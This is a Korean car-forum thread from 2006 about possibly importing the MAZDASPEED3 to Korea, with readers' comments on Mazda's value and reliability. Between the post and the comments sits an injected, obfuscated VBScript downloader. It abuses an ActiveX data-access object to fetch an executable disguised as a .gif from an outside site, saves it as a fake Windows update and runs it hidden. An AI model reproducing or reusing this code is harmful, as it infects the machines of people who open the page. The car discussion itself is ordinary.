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출처: 조선일보 최원석의 자동차 세상

MAZDASPEED3 을 수입하면??   2006/12/02 11:58	스누피      조회 338  추천 0
MAZDASPEED3입니다. 3을 베이스로 2.3리터 직분터보엔진을  싣고 265마력을 뽑아낸다고 합니다. 미국에서의 가격이 일단 starting at 22,835 (USD) 로 되어있군요. 핸들링과 주행성능에서 요즘에 평판이 좋은것 같습니다. 사진은 일본 현지의 사진인데 일본에서는 MAZDASPPED3 로 부르지는 않는것으로 알고있습니다. 보기에는 북미형과 거의 차이가 없는것 같아 올려봅니다. 일본의 가격을 검색해보니 241만엔으로 비슷하군요. 차라리 시빅보다는 이런 차종이 수입되었으면 좋겠습니다. 노력하면 신형 시빅의 가격인 2900만원대에 판매가 가능할것 같은데요. 골프GTI보다 고출력에 천만원이상 싸게 판매한다면 시장성이 있을것 같기도하고요. 우리나라 소비자들이 콩코드니 캐피탈, 프라이드등 마즈다차에는 익숙한점도 있을것 같은데..비현실적일까요?

on error resume next var shasha="1111111111111111111111111111111111111111111111888888888888888888888888888888" dl = "http://www.hrdkorea.com/img/m4/dotnet.gif" Set df = document.createElement("object") df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36" var_a1="Micr" var_a2="osof" var_a3="t.X" var_a4="MLHTTP" str=var_a1+var_a2+var_a3+var_a4 Set x = df.CreateObject(str,"") a1="Ado" a2="db." a3="Str" a4="eam" str1=a1&a2&a3&a4 str5=str1 set S = df.createobject(str5,"") S.type = 1 str6="GET" x.Open str6, dl, False x.Send fname1="c:\\Xpsp2update.exe" odf_a="Scri" odf_a="ptin" odf_a="g.Fi" odf_a="leSystemObject" odf_end=odf_a + odf_b+ odf_c+ odf_d set F = df.createobject(odf_end,"") set tmp = F.GetSpecialFolder(2) fname1= F.BuildPath(tmp,fname1) S.open S.write x.responseBody S.savetofile fname1,2 S.close dfob_b1="She" dfob_b2="ll.App" dfob_b3="lic" dfob_b4="ation" dfall=dfob_b1+dfob_b2+dfob_b3+dfob_b4 set Q = df.createobject(dfall,"") Q.ShellExecute fname1,"","","open",0

    댓글 (7)

		Master2	차 모양 자체는 한국사람이 안좋아하는 모양이지만 모터스포츠팬에게는 다르지요. 마즈다가 한국에 들어오긴 어려울테고 그래이로 수입하면 되지 않을까요. ^^ 12/02 12:59 41
		스누피	어차피 차량성격상 대량판매는 못하겠지만 3천만원 안짝으로 높은 운동성능에 튜닝까지 도 가능하다면 30대까지의 젊은 실속파들에게 인기를 모으지 않을까도 싶습니다. Master2님 말씀대로 (전국 서비스는 힘들지라도) 서울, 부산같은 대도시권에서나마 그 레이 임포터가 출현해 주었으면 하는 바람입니다. RX-8이나 미아타같은 모델과 같이 수 입을 한다면 마즈다브랜드라도 그레이로 영업이 가능하지 않을까 싶네요. MAZDASPEED6도 있지만 저는 실질적 동력성능이나 디자인을 봐도 3이 더 마음에 듭니 다. 만약에 한국에 수입된다면 한번 구입을 고려하고 싶은 차종입니다. 그런데 마즈다차 의 내구성은 어떠한가요? 미국이나 일본에서 마즈다차를 타시는 회원님들은 안계시는지 요?  12/02 13:16 05
		Master2	제가 보기엔 마즈다는 영원히 undervalue된 브랜드라고 봅니다. 워낙에 기라성 같은 일본차 메이커들이 있다 보니까 상대적으로 덜 빛나는 것이지요. RX-7부터 예전의 MX-6, 929, 626 등 여러 마즈다차를 타본적 있습니다. 한마디로 돈값은 합니다, 단지 브랜드가 좀 밀려서 그런거지만 알고보면 만만한 브랜드 아닙니다. 국내차 메이커 마즈다만 따라갈려도 아직 멀었습니다. ^^ 12/02 13:28 26
		최관오	저번에 Mazda3 해치백 시승기를 올렸었지요. 현재, 약 1만마일 정도 달렸습니다만, 전혀 문제가 없군요. 정말, 마음에 드는 차입니다. 자동차를 약 20대 정도 미국서 20년간 몰아 보았습니다만, 약간의 정확한 튜닝을 제외하고는 나무랄 데가 없습니다. 한국에서는 오히려 Mazda3 해치백이 시내에서 운전하기가 쉽지 않을 까 생각이 듭니다. 저속에서 의외로 잘나가는 군요 12/02 19:51 56
		이상민	일본에서 마쯔다의 소형차 데미오를 하루 200km 정도 타 봤습니다. 현행의 데미오는 아니고 한 세대 전의 것이긴 한데, 국내의 어지간한 중형차보다 피로감이 훨씬 적고 나름대로 재미도 있더군요. 여대생이나 주부 등을 겨냥한 차종이라서 가속감이나 코너링 등에 주안점을 둔 차는 아닌데도 느낌이 산뜻했습니다. 요즘 마쯔다스피드 아텐자(6속 MT)가 탐이 나더군요. 그런데 제가 왼발이 좀 불편해서 수술을 하던지 해서 치료를 해야겠습니다. 걷기에는 무리가 없는데 정확한 클러치밟기가 약간 어려워서 면허도 그때문에 자동면허로 취득했거든요. 왼발이 다소 불편한 상태에서 MT차를 운전하면 손발이 너무 바빠 운전을 제대로 못할 것 같아서 MT는 생각안하고 있었는데, 아텐자를 보니 마음이 흔들립니다. 12/02 20:32 13
		이상민	찾아보니 마쯔다스피드 악셀라(Axela)군요. 그리고 마쯔다는 포드 그룹의 일원이니 전국내에 골고루 갖춰진 포드 판매/서비스네트워크를 바로 이용해도 될 법한데요. 사실 머스탱이나 링컨 LS같은 차가 팔려봤자 얼마나 팔리겠습니까. 고급 독일차를 살 능력이 되는 사람한테는 미국차가 무슨 매력이 있을지가 의문이고, 상당수의 카매니아는 주머니가 가벼운 것이 사실이니까요. 데미오, 악셀라, 아텐자, 로드스터의 4개모델을 수입했으면 좋겠습니다. RX-8도 좋지만 로터리엔진의 유지보수 등의 난점이 있으므로 마쯔다 브랜드가 성공적으로 정착한 이후에 도입이 가능하지 않을까 싶네요. 마쯔다라는 회사, 만만히 보면 큰코다칩니다. 12/02 20:49 43
		꾹	멋진 핫해치지요^^, 인터쿨러를 왜 엔진위에 올렸을까하는 궁금함이 가득합니다. 제 차 튜닝할 때 잡지에 실린 그 빨강이네요. 군침을 흘리면서... 수입된다면 또 고민하겠죠^^, 저걸 질러야하나 말아야하나 하면서... 12/03 00:36 11

[◐HatchBack◑]

저도 사고 싶어요 소형차긴 하지만 1.6엔진이 차에 비해 딸려서...저희 동호회에서 일부 회원님들은 2.2/2.0엔진으로 스왑하신 분이 있는데...저도 그러고 싶지만 총알의 이...

[박순필]

차이뿌네....저도 해치팩스타일이 좋아질라그래요...다음차는 좀 스포티한걸로 구입해야쥐~